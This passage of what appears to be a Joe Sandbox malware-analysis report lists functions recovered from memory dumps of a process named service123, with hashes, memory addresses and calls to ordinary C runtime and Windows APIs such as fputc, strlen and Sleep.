Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: 95917f2380f1c6663b1f6598f841660d8aec51554af34067863a5ade4712c0e2
Instruction ID: dcd4404312d1ccefa591cbf64f1cb6f5e1b15363aa533fa724476e7f6b7e11e7
Opcode Fuzzy Hash: 95917f2380f1c6663b1f6598f841660d8aec51554af34067863a5ade4712c0e2
Instruction Fuzzy Hash: 71A17D7460C392EBF721CF24C0907AABBE1BF89318F118A1DE9D887291D775D549CB86

Function 00524C21 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00524DBE

Part of subcall function 00522830: fputc.MSVCRT ref: 005228F8

Strings

@, xrefs: 00524647
(null), xrefs: 00524C27

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: 5570ce738801ba9cd68d9fe9711159acfa126401df6cf952cd5e32a65d57edcb
Instruction ID: bd6a6fee14783c2c683cad6e4906246593d77db6e521a52028245e1832968462
Opcode Fuzzy Hash: 5570ce738801ba9cd68d9fe9711159acfa126401df6cf952cd5e32a65d57edcb
Instruction Fuzzy Hash: 54917F356083A18BDB319F24E0903AABFE1BF86714F148A1DD8D897382D735D946DF82

Function 6D0052F1 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6D00548E

Part of subcall function 6D002F00: fputc.MSVCRT ref: 6D002FC8

Strings

@, xrefs: 6D004D17
(null), xrefs: 6D0052F7

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: 1fbc8911ad5d617474166fa1307462fb06d79fe7e25f607b915c97530fc19895
Instruction ID: 22a041fda73248f3c8ffa339fc949e89490df5bda502dd45522341c3a05fb103
Opcode Fuzzy Hash: 1fbc8911ad5d617474166fa1307462fb06d79fe7e25f607b915c97530fc19895
Instruction Fuzzy Hash: 0D918D7460C392ABF721CF24C0907AABBE1BF89318F118A1DD9D887241D775D946CB86

Function 6D085B60 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6D085B9A
wcslen.MSVCRT ref: 6D085C2C
wcslen.MSVCRT ref: 6D085CBE
strlen.MSVCRT ref: 6D085D50

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: 961fd8e28026d55f1f32fa9e123c5f1f18d743417b6e9a8b75c60f29468beb85
Instruction ID: 1639724e62f830ab7b6ba90adf16332bf650393c1f31dfbc38d673bd1d9d970d
Opcode Fuzzy Hash: 961fd8e28026d55f1f32fa9e123c5f1f18d743417b6e9a8b75c60f29468beb85
Instruction Fuzzy Hash: 91F15CB4A046068FDB04DF6CC588AAEBBF0FF88314B518569E856CB355E735E941CF82

Function 6D085380 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6D0853BA
wcslen.MSVCRT ref: 6D08544C
wcslen.MSVCRT ref: 6D0854DE
strlen.MSVCRT ref: 6D085570

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: f417be612417bf92ceb44553ac0a35b091e45681dd54d609fc74a5016cf78ba4
Instruction ID: d5a17284fd14e3452c6449a89be85539cde3aff8daacaa693e9630b371b92643
Opcode Fuzzy Hash: f417be612417bf92ceb44553ac0a35b091e45681dd54d609fc74a5016cf78ba4
Instruction Fuzzy Hash: E6F14B74A08606CFEB00DF6CC488A6EBBF1FF84314B518569D856DB355D735E941CB82

Function 005229B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00522A31

Strings

NaN, xrefs: 005229B1

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction ID: 967976399e1f618d92c541ba23c71dbfb781baae4f6f081e132e80b041c8b2d1
Opcode Fuzzy Hash: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction Fuzzy Hash: 64412975A04225DBDB20CF18D4C4756BBE1BF8A700F29C699DC898F68AD376DC42CB90

Function 6D003080 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6D003101

Strings

NaN, xrefs: 6D003081

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction ID: f65318c325d2ff5003bf12419c81c1a8daa06e3980e065d5d0607aab7e4c7aa5
Opcode Fuzzy Hash: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction Fuzzy Hash: CF410A71A05216DBFB11CF18C480B9AB7E1BF8E704B69C699DD588F24AD336DC428B90

Function 6D084B80 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D084BBA
strlen.MSVCRT ref: 6D084C3D
strlen.MSVCRT ref: 6D084CC0
strlen.MSVCRT ref: 6D084D43

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 31585005e680b2a56e17eb1f62733ede70af2a6563e530d44a8b60d5c4ffda68
Instruction ID: 189b0cab4e904ced2944094239e0a449e744dfb856d731f96408757ce329562b
Opcode Fuzzy Hash: 31585005e680b2a56e17eb1f62733ede70af2a6563e530d44a8b60d5c4ffda68
Instruction Fuzzy Hash: 21E14974A086069FDB00DFADC4C4AAEBBF6BF48310B118669E855CB355D734E905CF81

Function 6D084380 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D0843BA
strlen.MSVCRT ref: 6D08443D
strlen.MSVCRT ref: 6D0844C0
strlen.MSVCRT ref: 6D084543

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: c5ffc4e494234ef81481aa46cd95d635cfcd148126329b1c56a49b56e7c7f5cc
Instruction ID: b8aef0424816e964cf872734e95d6bcfa2b21ee64b95a76195ee4dc4a6dd6157
Opcode Fuzzy Hash: c5ffc4e494234ef81481aa46cd95d635cfcd148126329b1c56a49b56e7c7f5cc
Instruction Fuzzy Hash: 3DE13974A086069FDB00DFACC4C4AAEBBF6BF49314B118669E855CB355E734E905CF82

Function 6D00DFA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89stringCOMMON

Download Yara Rule

APIs

strerror.MSVCRT ref: 6D00DFAE
strlen.MSVCRT ref: 6D00DFC1

Strings

basic_string: construction from null is not valid, xrefs: 6D00DFE3

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strerrorstrlen
String ID: basic_string: construction from null is not valid
API String ID: 960536887-2991274800
Opcode ID: 9736272a9e87e759c5209490c2b664e70f5efb5e1ac7df9c6f6fdea1d4b1bfbc
Instruction ID: 5383aa6d432fb781c8aad66939234cdb964afc0362cf1c29fef8741925746774
Opcode Fuzzy Hash: 9736272a9e87e759c5209490c2b664e70f5efb5e1ac7df9c6f6fdea1d4b1bfbc
Instruction Fuzzy Hash: 61114FB2D082019FE701FF7DD94565EB7F1AB8A310F89C96AD85487309E734D4458BA3

Function 00522F46 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00522E97
fputc.MSVCRT ref: 00522F07
memset.MSVCRT ref: 00522FC2

Strings

o, xrefs: 00522F5E

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction ID: 4efae436bb5ed6acc31c75f1283de6c53cfceadbdeb2ce6eb923372c46dbed7a
Opcode Fuzzy Hash: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction Fuzzy Hash: B0318C79900225DFCB10CF68D1847A9BFF5BF8A340F168A19D989AB781E334ED00DB80

Function 6D003616 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6D003567
fputc.MSVCRT ref: 6D0035D7
memset.MSVCRT ref: 6D003692

Strings

o, xrefs: 6D00362E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction ID: 6da5990e2c980d191a5ea3b1ec70906d29cf48b8f812161f9bf0de101b0a4184
Opcode Fuzzy Hash: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction Fuzzy Hash: 92316872908606EFEB02CF28C184B99BBF1BF4D341F058A59D989AB361E734F941CB40

Function 00523424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 0052338F
fputc.MSVCRT ref: 005233F1

Strings

@, xrefs: 0052342A

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction ID: 1018e282b3e4a63b80c4c46721c076136e9d680a393070edacc5b2d365dc7de5
Opcode Fuzzy Hash: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction Fuzzy Hash: E8111F71904224CBCB15CF58D1847697FE2BFA6700F258959DD899F28ADB38EE01CB44

Function 6D003AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6D003A5F
fputc.MSVCRT ref: 6D003AC1

Strings

@, xrefs: 6D003AFA

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction ID: 98ecb03906b9e272b6c28fb2984209c437f01cd20e2776da35db8dc342d7c0c1
Opcode Fuzzy Hash: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction Fuzzy Hash: 8C11E9B1918211ABFB02EF28C580BD97BF1BF8E304F658559ED996F24AD734E801CB45

Function 005218B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0052191E

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 005218FF
Unknown error, xrefs: 005218B2

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 0638ceef15543470ec61bd92b61c662ff8bd927cb5a508f5c3c1e9118722ff72
Instruction ID: 938c940edfd7840e4371b4c8a6d5d89a60c9426f196c5836620677f6cd892cd1
Opcode Fuzzy Hash: 0638ceef15543470ec61bd92b61c662ff8bd927cb5a508f5c3c1e9118722ff72
Instruction Fuzzy Hash: D9018470408B55DBD700AF15E48841ABFF1FF8A750F864898E5C5462A9DB3298A8C746

Function 6D017561 Relevance: 5.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D017583

Part of subcall function 6D063E00: memcpy.MSVCRT(?,?,?,?,-00000001,?,?,6D017596), ref: 6D063E63

strlen.MSVCRT ref: 6D0175F4
strlen.MSVCRT ref: 6D017662
strlen.MSVCRT ref: 6D0176D6

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 2107ac3f03ad856e93546a5548c04497ce1a575b7f3fc523084756507805203c
Instruction ID: d3550b5027740a158f4402ee78ebd346fca51f9ba306ee589a09bf7499f75c57
Opcode Fuzzy Hash: 2107ac3f03ad856e93546a5548c04497ce1a575b7f3fc523084756507805203c
Instruction Fuzzy Hash: 145116B4A09A008FEB00DF28C48871DFBF6BF89304F4685ADD9459F361CB75A805CB92

Function 00526B60 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,00526C81,?,?,?,?,?,?,00000000,00524F24), ref: 00526B87
InitializeCriticalSection.KERNEL32(?,?,?,?,00526C81,?,?,?,?,?,?,00000000,00524F24), ref: 00526BC4
InitializeCriticalSection.KERNEL32(?,?,?,?,?,00526C81,?,?,?,?,?,?,00000000,00524F24), ref: 00526BD0
EnterCriticalSection.KERNEL32(?,?,?,?,00526C81,?,?,?,?,?,?,00000000,00524F24), ref: 00526BF8

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: a7dd269872809950d28897c01b677543cd231a680822da17ab183cff9e799555
Instruction ID: 0a127844f220fbe1df31e5c650b4ea0519ced6d1b6ab120e7cadd76cf4fbea52
Opcode Fuzzy Hash: a7dd269872809950d28897c01b677543cd231a680822da17ab183cff9e799555
Instruction Fuzzy Hash: 73115EB15081608ADB20BB3CB9CA65A7FF0FF13300F550925C482C3294E731E899DBA6

Function 6D008080 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,00000002,?,6D0081A1), ref: 6D0080A7
InitializeCriticalSection.KERNEL32(?,?,00000002,?,6D0081A1), ref: 6D0080E4
InitializeCriticalSection.KERNEL32(?,?,?,00000002,?,6D0081A1), ref: 6D0080F0
EnterCriticalSection.KERNEL32(?,?,00000002,?,6D0081A1), ref: 6D008118

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: 43c4ef64c243fabd9e73f0c1fb7aee8607309cee59f9745e9834fb090146ae59
Instruction ID: d0f0be63dfd72b0f4bfc5df143b44e80d015473858850ced525bbe1769982cc6
Opcode Fuzzy Hash: 43c4ef64c243fabd9e73f0c1fb7aee8607309cee59f9745e9834fb090146ae59
Instruction Fuzzy Hash: C9111EB1909101DAFB00BB28EE967AE76F4FF06310F514966D462C7304E7B1E8C4CA97

Function 00522000 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,005221D3,?,?,?,?,?,005217E8), ref: 0052200E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,005221D3,?,?,?,?,?,005217E8), ref: 00522035
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,005221D3,?,?,?,?,?,005217E8), ref: 0052203C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,005221D3,?,?,?,?,?,005217E8), ref: 0052205C

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: cd4c5fd5902b9814614804e7e844b5f39ea7d3f4119e3b1e6deb80ae4f4b3b9d
Instruction ID: e2300f716be47514ec21acec272541e7e46792bc5201b2cd548ace27115ffd73
Opcode Fuzzy Hash: cd4c5fd5902b9814614804e7e844b5f39ea7d3f4119e3b1e6deb80ae4f4b3b9d
Instruction Fuzzy Hash: 48F081755003209FDB20BF78E88951A7FB4BE16740F050438DD4487254E730A81ACBA2

Function 6CFFAB50 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6CFFAB5E
TlsGetValue.KERNEL32 ref: 6CFFAB85
GetLastError.KERNEL32 ref: 6CFFAB8C
LeaveCriticalSection.KERNEL32 ref: 6CFFABAC

